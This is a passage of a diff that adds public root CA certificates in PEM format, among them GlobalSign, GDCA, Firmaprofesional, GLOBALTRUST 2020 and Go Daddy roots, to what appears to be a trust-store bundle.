+BgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMg
+THRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25v
+IFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtv
+xie+RJCxs1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+H
+Wyx7xf58etqjYzBhMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
+A1UdDgQWBBSHERUI0arBeAyxr87GyZDvvzAEwDAfBgNVHSMEGDAWgBSHERUI0arB
+eAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEAtVfd14pVCzbhhkT61Nlo
+jbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxOsvxyqltZ
++efcMQ==
+-----END CERTIFICATE-----
+
+# FIRMAPROFESIONAL CA ROOT-A WEB
+-----BEGIN CERTIFICATE-----
+MIICejCCAgCgAwIBAgIQMZch7a+JQn81QYehZ1ZMbTAKBggqhkjOPQQDAzBuMQsw
+CQYDVQQGEwJFUzEcMBoGA1UECgwTRmlybWFwcm9mZXNpb25hbCBTQTEYMBYGA1UE
+YQwPVkFURVMtQTYyNjM0MDY4MScwJQYDVQQDDB5GSVJNQVBST0ZFU0lPTkFMIENB
+IFJPT1QtQSBXRUIwHhcNMjIwNDA2MDkwMTM2WhcNNDcwMzMxMDkwMTM2WjBuMQsw
+CQYDVQQGEwJFUzEcMBoGA1UECgwTRmlybWFwcm9mZXNpb25hbCBTQTEYMBYGA1UE
+YQwPVkFURVMtQTYyNjM0MDY4MScwJQYDVQQDDB5GSVJNQVBST0ZFU0lPTkFMIENB
+IFJPT1QtQSBXRUIwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAARHU+osEaR3xyrq89Zf
+e9MEkVz6iMYiuYMQYneEMy3pA4jU4DP37XcsSmDq5G+tbbT4TIqk5B/K6k84Si6C
+cyvHZpsKjECcfIr28jlgst7L7Ljkb+qbXbdTkBgyVcUgt5SjYzBhMA8GA1UdEwEB
+/wQFMAMBAf8wHwYDVR0jBBgwFoAUk+FDY1w8ndYn81LsF7Kpryz3dvgwHQYDVR0O
+BBYEFJPhQ2NcPJ3WJ/NS7Beyqa8s93b4MA4GA1UdDwEB/wQEAwIBBjAKBggqhkjO
+PQQDAwNoADBlAjAdfKR7w4l1M+E7qUW/Runpod3JIha3RxEL2Jq68cgLcFBTApFw
+hVmpHqTm6iMxoAACMQD94vizrxa5HnPEluPBMBnYfubDl94cT7iJLzPrSA8Z94dG
+XSaQpYXFuXqUPoeovQA=
+-----END CERTIFICATE-----
+
+# GDCA TrustAUTH R5 ROOT
+-----BEGIN CERTIFICATE-----
+MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UE
+BhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ
+IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0
+MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVowYjELMAkGA1UEBhMCQ04xMjAwBgNV
+BAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8w
+HQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0BAQEF
+AAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJj
+Dp6L3TQsAlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBj
+TnnEt1u9ol2x8kECK62pOqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+u
+KU49tm7srsHwJ5uu4/Ts765/94Y9cnrrpftZTqfrlYwiOXnhLQiPzLyRuEH3FMEj
+qcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ9Cy5WmYqsBebnh52nUpm
+MUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQxXABZG12
+ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloP
+zgsMR6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3Gk
+L30SgLdTMEZeS1SZD2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeC
+jGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4oR24qoAATILnsn8JuLwwoC8N9VKejveSswoA
+HQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx9hoh49pwBiFYFIeFd3mqgnkC
+AwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlRMA8GA1UdEwEB
+/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg
+p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZm
+DRd9FBUb1Ov9H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5
+COmSdI31R9KrO9b7eGZONn356ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ry
+L3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd+PwyvzeG5LuOmCd+uh8W4XAR8gPf
+JWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQHtZa37dG/OaG+svg
+IHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBDF8Io
+2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV
+09tL7ECQ8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQ
+XR4EzzffHqhmsYzmIGrv/EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrq
+T8p+ck0LcIymSLumoRT2+1hEmRSuqguTaaApJUqlyyvdimYHFngVV3Eb7PVHhPOe
+MTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g==
+-----END CERTIFICATE-----
+
+# GlobalSign ECC Root CA - R4
+-----BEGIN CERTIFICATE-----
+MIIB3DCCAYOgAwIBAgINAgPlfvU/k/2lCSGypjAKBggqhkjOPQQDAjBQMSQwIgYD
+VQQLExtHbG9iYWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2Jh
+bFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTIxMTEzMDAwMDAwWhcNMzgw
+MTE5MDMxNDA3WjBQMSQwIgYDVQQLExtHbG9iYWxTaWduIEVDQyBSb290IENBIC0g
+UjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wWTAT
+BgcqhkjOPQIBBggqhkjOPQMBBwNCAAS4xnnTj2wlDp8uORkcA6SumuU5BwkWymOx
+uYb4ilfBV85C+nOh92VC/x7BALJucw7/xyHlGKSq2XE/qNS5zowdo0IwQDAOBgNV
+HQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVLB7rUW44kB/
++wpu+74zyTyjhNUwCgYIKoZIzj0EAwIDRwAwRAIgIk90crlgr/HmnKAWBVBfw147
+bmF0774BxL4YSFlhgjICICadVGNA3jdgUM/I2O2dgq43mLyjj0xMqTQrbO/7lZsm
+-----END CERTIFICATE-----
+
+# GlobalSign ECC Root CA - R5
+-----BEGIN CERTIFICATE-----
+MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEk
+MCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpH
+bG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoX
+DTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBD
+QSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWdu
+MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6SFkc
+8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8ke
+hOvRnkmSh5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD
+VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYI
+KoZIzj0EAwMDaAAwZQIxAOVpEslu28YxuglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg
+515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7yFz9SO8NdCKoCOJuxUnO
+xwy8p2Fp8fc74SrL+SvzZpA3
+-----END CERTIFICATE-----
+
+# GlobalSign Root CA
+-----BEGIN CERTIFICATE-----
+MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG
+A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv
+b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw
+MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i
+YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT
+aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ
+jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp
+xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp
+1Wrjsok6Vjk4bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdG
+snUOhugZitVtbNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJ
+U26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N8
+9iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E
+BTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0B
+AQUFAAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOz
+yj1hTdNGCbM+w6DjY1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE
+38NflNUVyRRBnMRddWQVDf9VMOyGj/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymP
+AbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhHhm4qxFYxldBniYUr+WymXUad
+DKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveCX4XSQRjbgbME
+HMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==
+-----END CERTIFICATE-----
+
+# GlobalSign Root CA - R3
+-----BEGIN CERTIFICATE-----
+MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G
+A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp
+Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4
+MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG
+A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8
+RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT
+gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm
+KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd
+QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ
+XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw
+DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o
+LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU
+RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp
+jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK
+6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX
+mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs
+Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH
+WD9f
+-----END CERTIFICATE-----
+
+# GlobalSign Root CA - R6
+-----BEGIN CERTIFICATE-----
+MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEg
+MB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2Jh
+bFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQx
+MjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSNjET
+MBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCAiIwDQYJ
+KoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQssgrRI
+xutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1k
+ZguSgMpE3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxD
+aNc9PIrFsmbVkJq3MQbFvuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJw
+LnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqMPKq0pPbzlUoSB239jLKJz9CgYXfIWHSw
+1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+azayOeSsJDa38O+2HBNX
+k7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05OWgtH8wY2
+SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/h
+bguyCLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4n
+WUx2OVvq+aWh2IMP0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpY
+rZxCRXluDocZXFSxZba/jJvcE+kNb7gu3GduyYsRtYQUigAZcIN5kZeR1Bonvzce
+MgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTAD
+AQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNVHSMEGDAWgBSu
+bAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN
+nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGt
+Ixg93eFyRJa0lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr61
+55wsTLxDKZmOMNOsIeDjHfrYBzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLj
+vUYAGm0CuiVdjaExUd1URhxN25mW7xocBFymFe944Hn+Xds+qkxV/ZoVqW/hpvvf
+cDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr3TsTjxKM4kEaSHpz
+oHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB10jZp
+nOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfs
+pA9MRf/TuTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+v
+JJUEeKgDu+6B5dpffItKoZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R
+8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+tJDfLRVpOoERIyNiwmcUVhAn21klJwGW4
+5hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA=
+-----END CERTIFICATE-----
+
+# GlobalSign Root E46
+-----BEGIN CERTIFICATE-----
+MIICCzCCAZGgAwIBAgISEdK7ujNu1LzmJGjFDYQdmOhDMAoGCCqGSM49BAMDMEYx
+CzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQD
+ExNHbG9iYWxTaWduIFJvb3QgRTQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAw
+MDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2Ex
+HDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUrgQQA
+IgNiAAScDrHPt+ieUnd1NPqlRqetMhkytAepJ8qUuwzSChDH2omwlwxwEwkBjtjq
+R+q+soArzfwoDdusvKSGN+1wCAB16pMLey5SnCNoIwZD7JIvU4Tb+0cUB+hflGdd
+yXqBPCCjQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1Ud
+DgQWBBQxCpCPtsad0kRLgLWi5h+xEk8blTAKBggqhkjOPQQDAwNoADBlAjEA31SQ
+7Zvvi5QCkxeCmb6zniz2C5GMn0oUsfZkvLtoURMMA/cVi4RguYv/Uo7njLwcAjA8
++RHUjE7AwWHCFUyqqx0LMV87HOIAl0Qx5v5zli/altP+CAezNIm8BZ/3Hobui3A=
+-----END CERTIFICATE-----
+
+# GlobalSign Root R46
+-----BEGIN CERTIFICATE-----
+MIIFWjCCA0KgAwIBAgISEdK7udcjGJ5AXwqdLdDfJWfRMA0GCSqGSIb3DQEBDAUA
+MEYxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYD
+VQQDExNHbG9iYWxTaWduIFJvb3QgUjQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMy
+MDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYt
+c2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBSNDYwggIiMA0GCSqGSIb3DQEB
+AQUAA4ICDwAwggIKAoICAQCsrHQy6LNl5brtQyYdpokNRbopiLKkHWPd08EsCVeJ
+OaFV6Wc0dwxu5FUdUiXSE2te4R2pt32JMl8Nnp8semNgQB+msLZ4j5lUlghYruQG
+vGIFAha/r6gjA7aUD7xubMLL1aa7DOn2wQL7Id5m3RerdELv8HQvJfTqa1VbkNud
+316HCkD7rRlr+/fKYIje2sGP1q7Vf9Q8g+7XFkyDRTNrJ9CG0Bwta/OrffGFqfUo
+0q3v84RLHIf8E6M6cqJaESvWJ3En7YEtbWaBkoe0G1h6zD8K+kZPTXhc+CtI4wSE
+y132tGqzZfxCnlEmIyDLPRT5ge1lFgBPGmSXZgjPjHvjK8Cd+RTyG/FWaha/LIWF
+zXg4mutCagI0GIMXTpRW+LaCtfOW3T3zvn8gdz57GSNrLNRyc0NXfeD412lPFzYE
++cCQYDdF3uYM2HSNrpyibXRdQr4G9dlkbgIQrImwTDsHTUB+JMWKmIJ5jqSngiCN
+I/onccnfxkF0oE32kRbcRoxfKWMxWXEM2G/CtjJ9++ZdU6Z+Ffy7dXxd7Pj2Fxzs
+x2sZy/N78CsHpdlseVR2bJ0cpm4O6XkMqCNqo98bMDGfsVR7/mrLZqrcZdCinkqa
+ByFrgY/bxFn63iLABJzjqls2k+g9vXqhnQt2sQvHnf3PmKgGwvgqo6GDoLclcqUC
+4wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
+HQ4EFgQUA1yrc4GHqMywptWU4jaWSf8FmSwwDQYJKoZIhvcNAQEMBQADggIBAHx4
+7PYCLLtbfpIrXTncvtgdokIzTfnvpCo7RGkerNlFo048p9gkUbJUHJNOxO97k4Vg
+JuoJSOD1u8fpaNK7ajFxzHmuEajwmf3lH7wvqMxX63bEIaZHU1VNaL8FpO7XJqti
+2kM3S+LGteWygxk6x9PbTZ4IevPuzz5i+6zoYMzRx6Fcg0XERczzF2sUyQQCPtIk
+pnnpHs6i58FZFZ8d4kuaPp92CC1r2LpXFNqD6v6MVenQTqnMdzGxRBF6XLE+0xRF
+FRhiJBPSy03OXIPBNvIQtQ6IbbjhVp+J3pZmOUdkLG5NrmJ7v2B0GbhWrJKsFjLt
+rWhV/pi60zTe9Mlhww6G9kuEYO4Ne7UyWHmRVSyBQ7N0H3qqJZ4d16GLuc1CLgSk
+ZoNNiTW2bKg2SnkheCLQQrzRQDGQob4Ez8pn7fXwgNNgyYMqIgXQBztSvwyeqiv5
+u+YfjyW6hY0XHgL+XVAEV8/+LbzvXMAaq7afJMbfc2hIkCwU9D9SGuTSyxTDYWnP
+4vkYxboznxSjBF25cfe1lNj2M8FawTSLfJvdkzrnE6JwYZ+vj+vYxXX4M2bUdGc6
+N3ec592kD3ZDZopD8p/7DEJ4Y9HiD2971KE9dJeFt0g5QdYg/NA6s/rob8SKunE3
+vouXsXgxT7PntgMTzlSdriVZzH81Xwj3QEUxeCp6
+-----END CERTIFICATE-----
+
+# GLOBALTRUST 2020
+-----BEGIN CERTIFICATE-----
+MIIFgjCCA2qgAwIBAgILWku9WvtPilv6ZeUwDQYJKoZIhvcNAQELBQAwTTELMAkG
+A1UEBhMCQVQxIzAhBgNVBAoTGmUtY29tbWVyY2UgbW9uaXRvcmluZyBHbWJIMRkw
+FwYDVQQDExBHTE9CQUxUUlVTVCAyMDIwMB4XDTIwMDIxMDAwMDAwMFoXDTQwMDYx
+MDAwMDAwMFowTTELMAkGA1UEBhMCQVQxIzAhBgNVBAoTGmUtY29tbWVyY2UgbW9u
+aXRvcmluZyBHbWJIMRkwFwYDVQQDExBHTE9CQUxUUlVTVCAyMDIwMIICIjANBgkq
+hkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAri5WrRsc7/aVj6B3GyvTY4+ETUWiD59b
+RatZe1E0+eyLinjF3WuvvcTfk0Uev5E4C64OFudBc/jbu9G4UeDLgztzOG53ig9Z
+YybNpyrOVPu44sB8R85gfD+yc/LAGbaKkoc1DZAoouQVBGM+uq/ufF7MpotQsjj3
+QWPKzv9pj2gOlTblzLmMCcpL3TGQlsjMH/1WljTbjhzqLL6FLmPdqqmV0/0plRPw
+yJiT2S0WR5ARg6I6IqIoV6Lr/sCMKKCmfecqQjuCgGOlYx8ZzHyyZqjC0203b+J+
+BlHZRYQfEs4kUmSFC0iAToexIiIwquuuvuAC4EDosEKAA1GqtH6qRNdDYfOiaxaJ
+SaSjpCuKAsR49GiKweR6NrFvG5Ybd0mN1MkGco/PU+PcF4UgStyYJ9ORJitHHmkH
+r96i5OTUawuzXnzUJIBHKWk7buis/UDr2O1xcSvy6Fgd60GXIsUf1DnQJ4+H4xj0
+4KlGDfV0OoIu0G4skaMxXDtG6nsEEFZegB31pWXogvziB4xiRfUg3kZwhqG8k9Me
+dKZssCz3AwyIDMvUclOGvGBG85hqwvG/Q/lwIHfKN0F5VVJjjVsSn8VoxIidrPIw
+q7ejMZdnrY8XD2zHc+0klGvIg5rQmjdJBKuxFshsSUktq6HQjJLyQUp5ISXbY9e2
+nKd+Qmn7OmMCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
+AQYwHQYDVR0OBBYEFNwuH9FhN3nkq9XVsxJxaD1qaJwiMB8GA1UdIwQYMBaAFNwu
+H9FhN3nkq9XVsxJxaD1qaJwiMA0GCSqGSIb3DQEBCwUAA4ICAQCR8EICaEDuw2jA
+VC/f7GLDw56KoDEoqoOOpFaWEhCGVrqXctJUMHytGdUdaG/7FELYjQ7ztdGl4wJC
+XtzoRlgHNQIw4Lx0SsFDKv/bGtCwr2zD/cuz9X9tAy5ZVp0tLTWMstZDFyySCstd
+6IwPS3BD0IL/qMy/pJTAvoe9iuOTe8aPmxadJ2W8esVCgmxcB9CpwYhgROmYhRZf
++I/KARDOJcP5YBugxZfD0yyIMaK9MOzQ0MAS8cE54+X1+NZK3TTN+2/BT+MAi1bi
+kvcoskJ3ciNnxz8RFbLEAwW+uxF7Cr+obuf/WEPPm2eggAe2HcqtbepBEX4tdJP7
+wry+UUTF72glJ4DjyKDUEuzZpTcdN3y0kcra1LGWge9oXHYQSa9+pTeAsRxSvTOB
+TI/53WXZFM2KJVj04sWDpQmQ1GwUY7VA3+vA/MRYfg0UFodUJ25W5HCEuGwyEn6C
+MUO+1918oa2u1qsgEu8KwxCMSZY13At1XrFP1U80DhEgB3VDRemjEdqso5nCtnkn
+4rnvyOL2NSl6dPrFf4IFYqYK6miyeUcGbvJXqBUzxvd4Sj1Ce2t+/vdG6tHrju+I
+aFvowdlxfv1k7/9nR4hYJS8+hge9+6jlgqispdNpQ80xiEmEU5LAsTkbOYMBMMTy
+qfrQA71yN2BWHzZ8vTmR9W0Nv3vXkg==
+-----END CERTIFICATE-----
+
+# Go Daddy Class 2 CA
+-----BEGIN CERTIFICATE-----
+MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEh
+MB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBE
+YWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3
+MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRo
+ZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3Mg
+MiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQADggEN
+ADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCA
+PVYYYwhv2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6w
+wdhFJ2+qN1j3hybX2C32qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXi
+EqITLdiOr18SPaAIBQi2XKVlOARFmR6jYGB0xUGlcmIbYsUfb18aQr4CUWWoriMY
+avx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmYvLEHZ6IVDd2gWMZEewo+
+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0OBBYEFNLE
+sNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h
+/t2oatTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5
+IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmlj
+YXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQAD
+ggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wimPQoZ+YeAEW5p5JYXMP80kWNy
+OO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKtI3lpjbi2Tc7P
+TMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ
+HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mER
